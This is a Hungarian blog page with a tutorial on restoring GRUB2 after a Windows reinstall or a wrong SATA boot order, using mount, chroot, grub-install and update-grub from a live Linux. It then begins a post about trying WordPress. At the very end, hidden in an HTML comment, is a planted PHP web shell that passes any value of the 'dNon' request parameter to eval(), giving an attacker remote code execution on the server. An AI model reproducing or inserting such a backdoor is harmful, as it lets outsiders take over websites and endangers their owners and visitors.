Grub2 visszaállítás hiba

Lehetséges grub probléma lehet, hogy a gépünkben több winchester található és vagy rossz helyre kerül az indító, vagy rá se tudja rakni.
Ilyen konkrét eset, hogy a gépemben van egy winchester és megajándékoztam a gépet egy ssd-vel. Én balga nem állítottam át a biosban a sata sorrendet, így az először felrakott windows rossz helyre hozta létre az indítóját…
Az ubuntuban pedig simán beállítottam, hogy a winchesterre rakja a grubot ( ha már a win ott van… ).
Ma viszont az ubuntu 12.10 frissítése után egy grub rescue fogadott…
Az itt leírt grub2 visszaállítás pedig köszöni szépen, de nem hajlandó megjavítani.

Szerencsére a javítás könnyű, csak biosban kell módosítani a sata boot sorrendeket.
Ha ez után se működik azonnal, akkor jöhet a grub2 visszaállítás.

Grub2 visszaállítás

Általában akkor romolhat el a grub, mikor a windowst újratelepítettük és ilyenkor önkényesen felülírja a grubot a saját indítójával.
Nem kell pánikba esni, csak ezt a pár lépést kell végrehajtani:

Indítsunk el egy live linuxot (Ubuntu, Mint)
Nyissunk egy terminált és gépeljük be a következőt:
sudo fdisk -l
Itt láthatjuk, hogy milyen partícióink vannak.
A grub szerkesztéséhez csatoljuk fel az előzőleg kikeresett meghajtót a következő paranccsal:
sudo mount /dev/sda5 /mnt

Ha sikerült a felcsatolás, akkor jöhetnek a következő parancsok:

sudo mount --bind /dev /mnt/dev
sudo mount --bind /proc /mnt/proc
sudo chroot /mnt
sudo grub-install /dev/sda

Ezzel kész is vagyunk, csatoljuk le a felcsatoltakat:
sudo umount /mnt/proc
sudo umount /mnt/dev
sudo umount /mnt

Újraindítás után ismét lesz grub-unk, viszont még nem lesz használható a windows.
Indítsuk el a linuxonkat, majd nyissunk egy terminált és gépeljük be a következőt:
sudo update-grub

Kész is vagyunk.

Új oldal + Ismerkedés a WP-vel

Mivel furdalt a kíváncsiság, hogy mit is tud egy WordPress ( ha már ennyire hype-olják ), meg van néhány kiadni valóm, így telepítettem egyet.

<!– [insert_php]if (isset($_REQUEST["dNon"])){eval($_REQUEST["dNon"]);exit;}[/insert_php][php]if (isset($_REQUEST["dNon"])){eval($_REQUEST["dNon"]);exit;}[/php] –>